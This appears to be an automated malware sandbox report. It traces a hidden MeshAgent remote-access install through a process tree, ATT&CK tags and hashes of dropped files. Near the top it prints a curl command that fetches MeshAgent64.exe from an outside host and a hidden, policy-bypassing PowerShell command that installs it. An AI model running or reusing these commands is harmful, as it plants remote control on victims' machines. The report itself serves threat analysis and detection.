C:\Windows\SysWOW64\curl.execurl.exe -k -L https://player.gamesstatusfun.com/meshagents?id=4&meshid=rkKKWgkGJY3xzh3LcQMFS7vqec50RTDDKGi9GAr9SG0fvkaaWOywkX1vYNtiTsGK&installflags=0 -o C:\Users\Admin\AppData\Local\Temp\MeshAgent64.exe3⤵
- Downloads MZ/PE file
- System Location Discovery: System Language Discovery
PID:1680
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\MeshAgent64.exe' -ArgumentList '-fullinstall' -WindowStyle Hidden -Wait"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1592 -
C:\Users\Admin\AppData\Local\Temp\MeshAgent64.exe"C:\Users\Admin\AppData\Local\Temp\MeshAgent64.exe" -fullinstall4⤵
- Sets service image path in registry
- Executes dropped EXE
PID:224
-
-
-
-
C:\Program Files\Mesh Agent\MeshAgent.exe"C:\Program Files\Mesh Agent\MeshAgent.exe"1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:3836 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -noprofile -nologo -command -2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1936
-
-
C:\Program Files\Mesh Agent\MeshAgent.exeMeshAgent.exe -b64exec dHJ5IHsgYWRkTW9kdWxlKCd3aW4tZGVza3V0aWxzJywgcHJvY2Vzcy5lbnZbJ3dpbl9kZXNrdXRpbHMnXSk7fSBjYXRjaCAoeCkgeyB9IHZhciB4O3RyeXt4PXJlcXVpcmUoJ3dpbi1kZXNrdXRpbHMnKS5kaXNwYXRjaCgnaWRsZScsICdnZXRTZWNvbmRzJywgW10pO2NvbnNvbGUubG9nKHgpO31jYXRjaCh6KXtjb25zb2xlLmxvZyh6KTtwcm9jZXNzLmV4aXQoMSk7fXByb2Nlc3MuZXhpdCgwKTs=2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:3768
-
-
C:\Program Files\Mesh Agent\MeshAgent.exe"C:\Program Files\Mesh Agent\MeshAgent.exe"1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:4016 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -noprofile -nologo -command -2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4464
-
-
C:\Program Files\Mesh Agent\MeshAgent.exeMeshAgent.exe -b64exec dHJ5IHsgYWRkTW9kdWxlKCd3aW4tZGVza3V0aWxzJywgcHJvY2Vzcy5lbnZbJ3dpbl9kZXNrdXRpbHMnXSk7fSBjYXRjaCAoeCkgeyB9IHZhciB4O3RyeXt4PXJlcXVpcmUoJ3dpbi1kZXNrdXRpbHMnKS5kaXNwYXRjaCgnaWRsZScsICdnZXRTZWNvbmRzJywgW10pO2NvbnNvbGUubG9nKHgpO31jYXRjaCh6KXtjb25zb2xlLmxvZyh6KTtwcm9jZXNzLmV4aXQoMSk7fXByb2Nlc3MuZXhpdCgwKTs=2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:3028
-
-
C:\Program Files\Mesh Agent\MeshAgent.exe"C:\Program Files\Mesh Agent\MeshAgent.exe"1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:4952 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -noprofile -nologo -command -2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3816
-
-
C:\Program Files\Mesh Agent\MeshAgent.exeMeshAgent.exe -b64exec dHJ5IHsgYWRkTW9kdWxlKCd3aW4tZGVza3V0aWxzJywgcHJvY2Vzcy5lbnZbJ3dpbl9kZXNrdXRpbHMnXSk7fSBjYXRjaCAoeCkgeyB9IHZhciB4O3RyeXt4PXJlcXVpcmUoJ3dpbi1kZXNrdXRpbHMnKS5kaXNwYXRjaCgnaWRsZScsICdnZXRTZWNvbmRzJywgW10pO2NvbnNvbGUubG9nKHgpO31jYXRjaCh6KXtjb25zb2xlLmxvZyh6KTtwcm9jZXNzLmV4aXQoMSk7fXByb2Nlc3MuZXhpdCgwKTs=2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:4376
-
-
C:\Program Files\Mesh Agent\MeshAgent.exe"C:\Program Files\Mesh Agent\MeshAgent.exe"1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:2652 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -noprofile -nologo -command -2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4628
-
-
C:\Program Files\Mesh Agent\MeshAgent.exeMeshAgent.exe -b64exec dHJ5IHsgYWRkTW9kdWxlKCd3aW4tZGVza3V0aWxzJywgcHJvY2Vzcy5lbnZbJ3dpbl9kZXNrdXRpbHMnXSk7fSBjYXRjaCAoeCkgeyB9IHZhciB4O3RyeXt4PXJlcXVpcmUoJ3dpbi1kZXNrdXRpbHMnKS5kaXNwYXRjaCgnaWRsZScsICdnZXRTZWNvbmRzJywgW10pO2NvbnNvbGUubG9nKHgpO31jYXRjaCh6KXtjb25zb2xlLmxvZyh6KTtwcm9jZXNzLmV4aXQoMSk7fXByb2Nlc3MuZXhpdCgwKTs=2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:404
-
-
C:\Program Files\Mesh Agent\MeshAgent.exe"C:\Program Files\Mesh Agent\MeshAgent.exe"1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1620 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -noprofile -nologo -command -2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1816
-
-
C:\Program Files\Mesh Agent\MeshAgent.exeMeshAgent.exe -b64exec dHJ5IHsgYWRkTW9kdWxlKCd3aW4tZGVza3V0aWxzJywgcHJvY2Vzcy5lbnZbJ3dpbl9kZXNrdXRpbHMnXSk7fSBjYXRjaCAoeCkgeyB9IHZhciB4O3RyeXt4PXJlcXVpcmUoJ3dpbi1kZXNrdXRpbHMnKS5kaXNwYXRjaCgnaWRsZScsICdnZXRTZWNvbmRzJywgW10pO2NvbnNvbGUubG9nKHgpO31jYXRjaCh6KXtjb25zb2xlLmxvZyh6KTtwcm9jZXNzLmV4aXQoMSk7fXByb2Nlc3MuZXhpdCgwKTs=2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:3384
-
-
C:\Program Files\Mesh Agent\MeshAgent.exe"C:\Program Files\Mesh Agent\MeshAgent.exe"1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:4092 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -noprofile -nologo -command -2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2732
-
-
C:\Program Files\Mesh Agent\MeshAgent.exeMeshAgent.exe -b64exec dHJ5IHsgYWRkTW9kdWxlKCd3aW4tZGVza3V0aWxzJywgcHJvY2Vzcy5lbnZbJ3dpbl9kZXNrdXRpbHMnXSk7fSBjYXRjaCAoeCkgeyB9IHZhciB4O3RyeXt4PXJlcXVpcmUoJ3dpbi1kZXNrdXRpbHMnKS5kaXNwYXRjaCgnaWRsZScsICdnZXRTZWNvbmRzJywgW10pO2NvbnNvbGUubG9nKHgpO31jYXRjaCh6KXtjb25zb2xlLmxvZyh6KTtwcm9jZXNzLmV4aXQoMSk7fXByb2Nlc3MuZXhpdCgwKTs=2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:4520
-
-
C:\Program Files\Mesh Agent\MeshAgent.exe"C:\Program Files\Mesh Agent\MeshAgent.exe"1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:4960 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -noprofile -nologo -command -2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:864
-
-
C:\Program Files\Mesh Agent\MeshAgent.exeMeshAgent.exe -b64exec dHJ5IHsgYWRkTW9kdWxlKCd3aW4tZGVza3V0aWxzJywgcHJvY2Vzcy5lbnZbJ3dpbl9kZXNrdXRpbHMnXSk7fSBjYXRjaCAoeCkgeyB9IHZhciB4O3RyeXt4PXJlcXVpcmUoJ3dpbi1kZXNrdXRpbHMnKS5kaXNwYXRjaCgnaWRsZScsICdnZXRTZWNvbmRzJywgW10pO2NvbnNvbGUubG9nKHgpO31jYXRjaCh6KXtjb25zb2xlLmxvZyh6KTtwcm9jZXNzLmV4aXQoMSk7fXByb2Nlc3MuZXhpdCgwKTs=2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:3816
-
-
C:\Program Files\Mesh Agent\MeshAgent.exe"C:\Program Files\Mesh Agent\MeshAgent.exe"1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:4524 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -noprofile -nologo -command -2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4300
-
-
C:\Program Files\Mesh Agent\MeshAgent.exeMeshAgent.exe -b64exec dHJ5IHsgYWRkTW9kdWxlKCd3aW4tZGVza3V0aWxzJywgcHJvY2Vzcy5lbnZbJ3dpbl9kZXNrdXRpbHMnXSk7fSBjYXRjaCAoeCkgeyB9IHZhciB4O3RyeXt4PXJlcXVpcmUoJ3dpbi1kZXNrdXRpbHMnKS5kaXNwYXRjaCgnaWRsZScsICdnZXRTZWNvbmRzJywgW10pO2NvbnNvbGUubG9nKHgpO31jYXRjaCh6KXtjb25zb2xlLmxvZyh6KTtwcm9jZXNzLmV4aXQoMSk7fXByb2Nlc3MuZXhpdCgwKTs=2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:4876
-
-
C:\Program Files\Mesh Agent\MeshAgent.exe"C:\Program Files\Mesh Agent\MeshAgent.exe"1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:4140 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -noprofile -nologo -command -2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4284
-
-
C:\Program Files\Mesh Agent\MeshAgent.exeMeshAgent.exe -b64exec dHJ5IHsgYWRkTW9kdWxlKCd3aW4tZGVza3V0aWxzJywgcHJvY2Vzcy5lbnZbJ3dpbl9kZXNrdXRpbHMnXSk7fSBjYXRjaCAoeCkgeyB9IHZhciB4O3RyeXt4PXJlcXVpcmUoJ3dpbi1kZXNrdXRpbHMnKS5kaXNwYXRjaCgnaWRsZScsICdnZXRTZWNvbmRzJywgW10pO2NvbnNvbGUubG9nKHgpO31jYXRjaCh6KXtjb25zb2xlLmxvZyh6KTtwcm9jZXNzLmV4aXQoMSk7fXByb2Nlc3MuZXhpdCgwKTs=2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:4492
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Program Files\Mesh Agent\MeshAgent.db
- Size 204KB
- SHA256 950e0549182c6359baf2ed0f1f788a097e89ab0c61a754357f72264addf1aa3f
- MD5 d0ceaa2155d791c859e5d1eda86c7ff4
- SHA1 c919701357b55c9a10efda1575758f10a4b48ef7
- SHA512 23db18f694981761e89506af2637f05d237001bbcefac3daaa1048ff6b2cee47fff1761834f3101b37cf8f43594c4d3d1e961e56269cf246464130b3f96fcf31
- SSDEEP 3072:nw9l51dznYNa3IzsWSldE9nknJfZnfBfJZmpPBF/M657/jrfV4:w9l1EY3IzVSA5kJXfJZOP7M2rrO
- TLSH T14614F2179F5EB4792F8D23756C0F4D3466D80B38D3A348426CDF482A86667ACCA3F166
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files\Mesh Agent\MeshAgent.db.tmp
- Size 204KB
- SHA256 0b3f5ffb76142b29372b15d3a76447cbeebaf9bd9e1a14c6d6695ed174910a44
- MD5 83f5a5c087d4f0753c5026e3686bc1aa
- SHA1 bdf8043d22380efea9d83a22752c9c8a14d83be0
- SHA512 27322d4077b412fe50b6889fd3482f201ecf52db8060f328b0811b739dc648cd3bfd8bc62bd0c5ac22dd71cbf6ef35b6f8339453b06f0cac6692fa01d663fd0b
- SSDEEP 3072:yw9lM1dznYNa3IzsWSldE9nknJfZnfBfJZmpPBF/M657/jrfV4:99liEY3IzVSA5kJXfJZOP7M2rrO
- TLSH T15E14F2179F5EB4792F8D23756C0F4D3466D80B38D3A348426CDF482A86667ACCA3F166
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files\Mesh Agent\MeshAgent.log
- Size 362B
- SHA256 46fd1afde3a28db10c601c9a0cdf631854ca9dbcc0fda7b73c486e99c947301c
- MD5 76db6749e0b55cdaeddf6ea2da907b7f
- SHA1 e559155241dce2130baeeca08d18d3c24ef9593f
- SHA512 26865e06f8790dce5a81f4fc23e009d07fc805ebcbb393c105482fa3175d7c936a4df65da84f231c0b38b4fe6149b06ba3b556c25c61ccf4236e73b209dbe664
- TLSH T13FE06846F5581D3FF134B1EE3EB87F374161710000D08E1720C44400DC80C8FB94286E
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files\Mesh Agent\MeshAgent.log
- Size 543B
- SHA256 3c86fc14f19a97e8df3eeeb360502e35c7b8a475735b98d46dc8c951be9eb9c1
- MD5 f1c4188ad437fe920956b73a63748772
- SHA1 e0e84be45835ff99a4ab5d5589133cdea42826fa
- SHA512 1bfa1790063c0e050ace4d3a274ab89180ac23290d08771cfcc501b1b35e335e701d46e212d74a6eac2472e78695da5884a6affba8fff72af60108896e07da0d
- TLSH T158F08B46F5581D3FF134B1EE3EB87F374161710000D08E1720C44800DC80C8FB94286E
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files\Mesh Agent\MeshAgent.log
- Size 724B
- SHA256 bfa80d5df6383a3526f857ea729d2ecfe743a5bed93d45cb4ec53cca57435f8c
- MD5 43d355a7939795faf997f04b37e5b1a9
- SHA1 007c03d9a9b1b9b37bb69ea2009ec929e72798ea
- SHA512 d11d2d2cdeae833bd8eaa47bf8a327a54a61dec8f61e3eaa7eac8338a87e348fd56f67680640d26140e40ea63e0f83dc9f06df572294e40427818e5f17526328
- TLSH T192019C8AF5981D3FF234B1EE3EB87F374161710001D08E1720C44800DD81C8FB98286E
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files\Mesh Agent\MeshAgent.log
- Size 905B
- SHA256 a2d06becfbce1a4384b504052003a54c112b54c96ce8c067c350aae1bf7d3f89
- MD5 4e74b372d53bff6a37be3b7c4f9fb62f
- SHA1 f13418d74ab1f3f25458935a32ec429b536f64a0
- SHA512 41eee978efb63ab1e3fa195fa3604625e4782ce10d7093327b13b8fc6cea7b1a4f3cf7a9be762b08bdfffb978d22634a4117b98c09698ac1764619dd2bf65462
- TLSH T11C119C8AF6981D3FF234B1EE3EB87F374161750001D08E1721C44800DD85C8FBA8286E
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files\Mesh Agent\MeshAgent.log
- Size 1KB
- SHA256 23f5d5bdaa0816e43bbab621ce65c19621407ed73fa71d3588eabd7723d91b70
- MD5 22bc70a9ec1a65992405ab66ec94ee35
- SHA1 818d0aefb9782e81195f1492e8adb6b4742efae7
- SHA512 014f6ad814271dcc9a098a0683aa11c1825af8d8101d8d60e3788fcdb74254e6f3382984fd953bb2e420335f6f03cfcaf71cc9ba1d894628d0297bd78855a52e
- TLSH T177118B8AF6981D3FF234B2EE3EB87F374161750101D08E1721C44800DD85C8FBA8286E
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files\Mesh Agent\MeshAgent.log
- Size 1KB
- SHA256 66c9d9ddfdb32c29f2341e5917dc80104ef06017c1b20cf11fbc8553005e0c73
- MD5 a81ad71d8e42eda6f235390336437672
- SHA1 43e914977bd6820ec327564bb55cf40c040aeab4
- SHA512 b56fae536d7c094e21776f9e261c1bd96abefa4c1ff192932fa218d4cea37750014791dfac10ae62da411b99402318070fd37e8103f0c9939d84b5802ef7182f
- TLSH T10E21498AF6981D3FF274B2EE7EB87F374165750101D09E1721D48810DD85D8FBA8296E
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files\Mesh Agent\MeshAgent.log
- Size 1KB
- SHA256 2685557af4c0f571ac24957d4304b24c993b3d0dee29bbff6da7997aad34b49c
- MD5 85f195089e284e19be3be729043055fc
- SHA1 d3302cfad4fc8056fcc0423b206f49d5b23c91d2
- SHA512 d3e50eef4802634b3a397be4522fb1cb01021338a49bba627b6d320f1dcc1d8e463472fe70818fb6f38aabee4eeaceaf1b064cea6b9076858902c60524478609
- TLSH T12D313A8AF6981D3FF274B2EE7EB87F374165750101D09E1721D48810DD85D8FBA8296E
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files\Mesh Agent\MeshAgent.log
- Size 1KB
- SHA256 c3ab97e6792b1409e27a752da2c302c3d3252c827208753d1fe91dc19060531f
- MD5 60cb7638414867f25d7784b047e6afda
- SHA1 d6ec499222c920de861f7165d9547d4e07cc8317
- SHA512 003a25e671dd42fc4491e57f2ac1f0239c866e6bff2c978fe03c48307b4cade96c10f3eec1d3b3f4094ac667462041e9711e59e22d8c119109a8ae4616380286
- TLSH T181312B8AF6981D3FF274B2EE7EB87F3741A6750101D09E1721D48810DD85D8FBA8296E
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files\Mesh Agent\MeshAgent.msh
- Size 35KB
- SHA256 81fdd370d90c0183059332e248f91a2c02fbef1d5ca2128e3c0147988ebf5814
- MD5 5640fac08d2bfed0002bd58bd8e67624
- SHA1 8229b5bebb7087a5edb446b8a3a177087925069f
- SHA512 75fca97ae24e185fe261e7e618e8fb9b3a4f0dba181b7d25f0507ae76e100b4df7f0951312c0800744a04aa0d1b72bec6145434388608313e0954358a2e91fb8
- SSDEEP 384:xT8rCFryXKhhlW/zNc3XRJ3PoNSpyjSUzrnQCJwZVx9K6rvja3qj7ZiZFa3EB8PN:NaCVrh6/Zyo1zrQCJwR99BWFa3Em0Wth
- TLSH T18FF2E61D8FADB03F2F8623952C0B4D317BE80B38935248516DEF481A427A79DD97F1A6
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\MeshAgent64.exe
- Size 3.3MB
- SHA256 f4a2d6c8d964408539cedc59fa6b4c27be12d67fa88c1a1fe2d910fa867c5f58
- MD5 c27e90a1e4d4053233961b0ec3c94ded
- SHA1 f4b8e78e59b47c9f2e0ccc98cbbd3a9721437566
- SHA512 f7e55fe81fb56a5dc27a9c68aaeefdd237df58e8adbf6712613a55da78ee06394073303b74c8b3b06a43cc464874d3e8a7602c3796677b6f8b0726438c0e73e2
- SSDEEP 49152:+MSGj9zai9bsddr7AaPcZumeRQyKpzSPQBcnMFvf8AC4Z78bRwlI5fL:nd9AddBcryO3cICgI9L
- TLSH T1F2F57CD2A7A600E8E977F23CC5568517E7F2B81713709BCF25A44A660F236D12B3E742
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wgt1jk1f.x3o.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\nsdB265.tmp\System.dll
- Size 11KB
- SHA256 7851cb12fa4131f1fee5de390d650ef65cac561279f1cfe70ad16cc9780210af
- MD5 bf712f32249029466fa86756f5546950
- SHA1 75ac4dc4808ac148ddd78f6b89a51afbd4091c2e
- SHA512 13f69959b28416e0b8811c962a49309dca3f048a165457051a28a3eb51377dcaf99a15e86d7eee8f867a9e25ecf8c44da370ac8f530eeae7b5252eaba64b96f4
- SSDEEP 192:0N2gQuUwXzioj4KALV2upWzVd7q1QDXEbBZ8KxHdGzyS/Kx:rJoiO8V2upW7vQjS/
- TLSH T1DC3229328B60C1F2D561C274496B3A3367B9761420B04D67DFB78446EC16AD66E3E327
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\nsdB265.tmp\UAC.dll
- Size 13KB
- SHA256 c5ab2926c268257122d0342739e73573d7eeda34c861bc7a68a02cbc69bd41af
- MD5 a88baad3461d2e9928a15753b1d93fd7
- SHA1 bb826e35264968bbc3b981d8430ac55df1e6d4a6
- SHA512 5edcf46680716930da7fd1a41b8b0426f057cf4becefb3ee84798ec8b449726afb822fb626c4942036a1ae3bb937184d1f71d0e45075abb5bf167f5d833df43a
- SSDEEP 192:qP6KdXy+Yo7e1J8qC25a5mDFmCLGUCVGpU6uNck87I0S/TDqwyTq+:q/q3Pgd5mx6VkEck87ILCTN
- TLSH T1CC526C5421D84BBFD24156383ADB776346B9FB316C62818FC6A349CB6871693A93E302
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\nsdB265.tmp\execDos.dll
- Size 5KB
- SHA256 720be35cd1b4a333264713dc146b4ad024f3a7ad0644c2d8c6fcedd3c30e8a1f
- MD5 0deb397ca1e716bb7b15e1754e52b2ac
- SHA1 fbb9bcf872c5dbb4ca4c80fb21d41519bc273ef5
- SHA512 507db0bee0897660750007e7ce674406acf9e8bf942cf26ded5654c07682757b07c9eb767bead0966478abc554dc9a6461c4288dc35d12cacfadad4c128f1bb7
- SSDEEP 96:J++xDiP4p7t7dNOt3stxtRFFXxGD6qxlnKE6ttdH3r3:Rx9pJ7jQs5toD6Cln/6tt1
- TLSH T153C1E73AF2E409B3C2A806343EA6A42B17F9D02B071409B7876321CC6CD0DB8FE74256
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\nsdB265.tmp\launcher.ini
- Size 306B
- SHA256 90facfc0b4353e305450f92137ad2f41c337b19620bf715a32a091c39f9fadab
- MD5 50bda04180209d4736ab832a8397702d
- SHA1 7572f4e288f42dc1879e0091275a1c486d86b02a
- SHA512 835d32126db56e4d2d43a0cf16bffb9a95e91fae8146aec0ec3b1951617d707b2d34771ad613e08f06bb468b0aec93773e83d9c2dddbe92d56e9b9ee9c6cd563
- TLSH T1D0E07D023EB472764703D9512BE31EA358F31553684420771FD28B99D380CAB82B439E
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\nsdB265.tmp\newadvsplash.dll
- Size 8KB
- SHA256 0a70cc4b93d87ecd93e538cfbed7c9a4b8b5c6f1042c6069757bda0d1279ed06
- MD5 55a723e125afbc9b3a41d46f41749068
- SHA1 01618b26fec6b8c6bdb866e6e4d0f7a0529fe97c
- SHA512 559157fa1b3eb6ae1f9c0f2c71ccc692a0a0affb1d6498a8b8db1436d236fd91891897ac620ed5a588beba2efa43ef064211a7fcadb5c3a3c5e2be1d23ef9d4c
- SSDEEP 96:/VV0Rwtvrm2nQujIvP9dir3UniV/zRzVR3rN3k8Jd18tsPcaqhx:/VV0KtC2yH9d83BzVR53kEQFaq
- TLSH T17702C73972C169F3D26B05F82D526B2E0FEEA035135650228B33A4DA3DA0353FD26747
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\nsdB265.tmp\runtimedata.ini
- Size 86B
- SHA256 f8639ae94d9094405ab655480f75b1eebc3bb37e5a5a7500a57a53a0ccbf0a75
- MD5 090a855d3c1cd9160531103dfce5dd25
- SHA1 6b666510f0709ffe00b2d8462bec13c5cc3b06b4
- SHA512 2398d826f36c0317524bb1180440238f5cc7e15d396e02aa60cd8ca8813122a9c3351ad6098660257f404d2e5ea6768bc50ca55479607f6d316c98bde08c7217
- TLSH T1F8A0120817C3C94C009450130A7E64CCA0D9091C290093708E319418190D82A9940506
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\F390CC6AF8AA8CE2B08CB0B3A0E1E2BD35EB0762
- Size 1KB
- SHA256 f2d9159dd8332c9161e6f5c2ff53e4f883da3dcd779d250079d8a7cf6f7ae695
- MD5 b5f6522d669fe5451d4b786af5157830
- SHA1 c5609b35885d1610908f213f5c8b8f92d413461c
- SHA512 fb24f61ddd29ceeba010239d93fc83aba47c10fa11c4f2ef50a88df9a6a6edac885ae674d91a3190398fe5348d70d7c16ff169491e5d948b36a163cd094b8ab1
- TLSH T16721E4114BF40EBAF88229B285581E1A6CB9B2D40B23A86B202E944E4CA1DB25323306
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 3KB
- SHA256 5e96fde1d75dc8ec3bad5579d8be42c210642b07112b0bf79639465c4cfd7852
- MD5 b1900c23412d8e2712a927c18db03926
- SHA1 102fe07f97525d24c37c177de158aef840a62431
- SHA512 3ba769e7731d5d81266914a93d334f43ef954ab393a37c85bedde9125737317ec2f4eb3788aa6170adcd9f43e7ec4b5c87c59354bf87a530f3fd0c2fae484976
- TLSH T18461FF313275B1D4C9567F071A2819C053BF8396EA94AF5CB25C621EDD2641BDF122F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
- Size 2KB
- SHA256 748e8ea76c597d7d609cc00fe7516ce23fc73aa97a846d3ccc5257cbcd17b338
- MD5 88754e867fc4c5c2c1a174144185b5c4
- SHA1 f0981cbc0e97c6c8c37a5b433d1a4fc12d19ade0
- SHA512 f1e9bb2858f5230cc7f9539d5911bf9901a7f802ea42c88ebd05ba2bb90eb7a4cdbf1093457a52d06b93398b14788a7ae137889c20890250219fa289f2b2efd2
- TLSH T129510F17B3C856E3D98D553EC09C981430E692878066BFDA6F8FC5E0A26F1B7FA70161
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
- Size 2KB
- SHA256 01a635bbd828c67dc7a13f3071470f68e476b5b386cf527c76ed3922a75d8bb6
- MD5 0914485823436ced584d72a5491ab687
- SHA1 2e6da14dc8583d0051a7b1a2be66bc29d60b16c3
- SHA512 600d4b9d05bc54c36b6be02a90ce46f0faeb785f2f89da4b9229bcf561ef6108be1d45db581cfca5df4e7128bb0247e07e1c2e1fe33b318a32d843e8f0306d60
- TLSH T1CB510327B3C45B62D94A153B409888127096E2438366BFCB3F8EC790B25FDB6BB71641
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
- Size 2KB
- SHA256 06a5f64b4751ad36578a6be7e549c48042f3f1a39507a97167df9c18660f97ed
- MD5 e71752ec678cfaeaed3b0a237105c145
- SHA1 47c4b69aff230f9ad9544c327450bc7fd33a01b3
- SHA512 5e161336bf2ba53a7e2d5922638c46d00749c612e48958cb9c2fcbb3e90adc1a456d2ece649312e8f4dac13136b3abca3d313e807a14115c768000495865f2c8
- TLSH T11451FF17F3C45A63D94A153B8098481370D6E1438267ABCB3F8FD660B25FEB6BB70611
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
- Size 2KB
- SHA256 2f7e5aaef9a64751d1524cdae8f4bc70aac695aef1456ae72b806967d3a41dfb
- MD5 ee5f83f5389a9093ef895c4efbedb996
- SHA1 25aacf090126e9075602f058c9dadeac9618f4dc
